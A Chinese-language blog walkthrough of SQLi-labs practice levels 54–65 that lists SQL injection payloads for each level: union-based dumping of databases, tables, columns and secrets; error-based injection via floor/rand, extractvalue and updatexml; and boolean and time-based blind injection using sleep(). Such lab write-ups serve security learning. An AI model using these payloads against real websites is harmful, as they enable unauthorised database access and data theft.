sqllabs 54关以后及其总结

第54关

输入?id=1 and 1=2,可以确定是字符型

输入?id=1'    报错,添加--+正确确定闭合方式

输入?id=-1' union select 1,2,3--+,查看显示位

输入?id=-1' union select 1,database(),version()--+爆库,

输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+   爆表

爆表,输入?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='kmp4truhi7'--+

表名随时发生变化

?id=-1' union select 1,group_concat(sessid),group_concat(secret_JVJY) from kmp4truhi7 --+

id,sessid,secret_JVJY,tryy

Your Login name:0ee513926cb5aa8e358c9d6dcf80b70e
Your Password:w3iVtazXZEKC70RPJi28FVFv

第55关

输入?id=1 and 1=2确定类型是数值型但是门面测试发现位括号闭合

?id=-1) union select 1,2,3--+  判断回显位

?id=-1) union select 1,database(),version()--+爆库和版本

?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+爆表

?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='kcpomoak73'--+爆字段

?id=-1) union select 1,group_concat(sessid),group_concat(secret_8NDU) from kcpomoak73--+爆数据

第56关

位?id=1’)   确定闭合方式

其余和55,54一样

?id=-1') union select 1,database(),version()--+爆库

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+爆表

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='i3kyp1zhxp'--+爆字段

?id=-1') union select 1,group_concat(sessid),group_concat(secret_V4RW) from i3kyp1zhxp--+爆数据

第57关

输入?id=1"--+尝试闭合,闭合成功

其余一样

?id=-1"union select 1,database(),version()--+爆库

?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+爆表

?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='58dfsy83l6'--+爆字段

?id=-1" union select 1,group_concat(sessid),group_concat(secret_M6VT) from 58dfsy83l6--+爆数据

第58关

报错注入

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,database()))--+爆库

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+爆表

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ymbx6ux1df')))--+ 爆字段

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x5e,(select sessid from ymbx6ux1df)))--+ 字段内容

第59关

报错注入extractvalue+数字型注入

?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+爆表

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='h0f7jl3wq5'),0x7e))--+爆字段

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(sessid) from h0f7jl3wq5),0x7e))--+爆数据

第60关

报错注入updatexml  ?id=1") 闭合方式

?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)--+爆库

?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+爆表

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='02qxrg5nyz'),0x7e),1)--+爆字段

?id=1") and updatexml(1,concat(0x7e,(select group_concat(sessid) from 02qxrg5nyz),0x7e),1)--+爆数据

第61关

报错注入updatexml  ?id=1'))闭合方式

?id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1)--+爆库

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+爆表

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='02qxrg5nyz'),0x7e),1)--+爆字段

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(sessid) from 02qxrg5nyz),0x7e),1)--+爆数据

第62关

布尔盲注+?id=1')闭合

?id=1') and length(database())>5--+判断库长度

?id=1') and substr(database(),1,1)>'m' --+判断数据库第一个字母

?id=1') and (select count(table_name) from information_schema.tables where table_schema=database())>5--+判断数据表张数>5

?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+判断第一张数据表的长度>5

?id=1') and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'--+判断第一张数据表的第一个字母>m

?id=1') and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa')>5 --+判断字段数>5

?id=1') and length((select column_name from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa' limit 0,1))>5--+判断第一个字段的长度

?id=1') and mid((select column_name from information_schema.columns where table_schema=database() and table_name='8dvsmiadsa' limit 0,1),1,1)>'m'--+判断第一个字段第一个字母

?id=1') and (select count(sessid) from 8dvsmiadsa)>5--+判断sessid记录>5

?id=1') and mid((select sessid from 8dvsmiadsa limit 0,1),1,1)>'m'--+判断第一条记录的第一个字母>m

第62关

?id=1'     #无回显

?id=1'--+  #无回显

?id=1')--+ #有回显 用')闭合

?id=1')order by 3--+

?id=1')order by 4--+

?id=1')and if(length((select table_name from information_schema.tables where table_schema=database()))>100,1,sleep(10))--+

第63关

?id=1'     #无回显

?id=1'--+  #有回显 用'闭合

?id=1'order by 3--+

?id=1'order by 4--+

?id=-1'and union select 1,2,3--+   #无回显

?id=1'and sleep(10)--+   #延迟返回

payload

?id=1'and if(length((select table_name from information_schema.tables where table_schema=database()))>100,1,sleep(10))--+

第64关

?id=1))order by 3--+

?id=1))order by 4--+

?id=-1))union select 1,2,3--+  #没有返回有用消息

?id=1))and sleep(2)--+   #延迟返回

payload

?id=1))and if(length((select table_name from information_schema.tables where table_schema=database()))>100,1,sleep(10))--+

第65关

?id=1'        #有回显

?id=1"        #无回显

?id=1"--+     #无回显

?id=1")--+    #有回显 用")闭合

?id=-1")union select 1,2,3--+  #没有返回有用消息

?id=1")and sleep(2)--+   #延迟返回

payload

?id=1")and if(length((select table_name from information_schema.tables where table_schema=database()))>100,1,sleep(10))--+

总结思维导图

  • 10
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值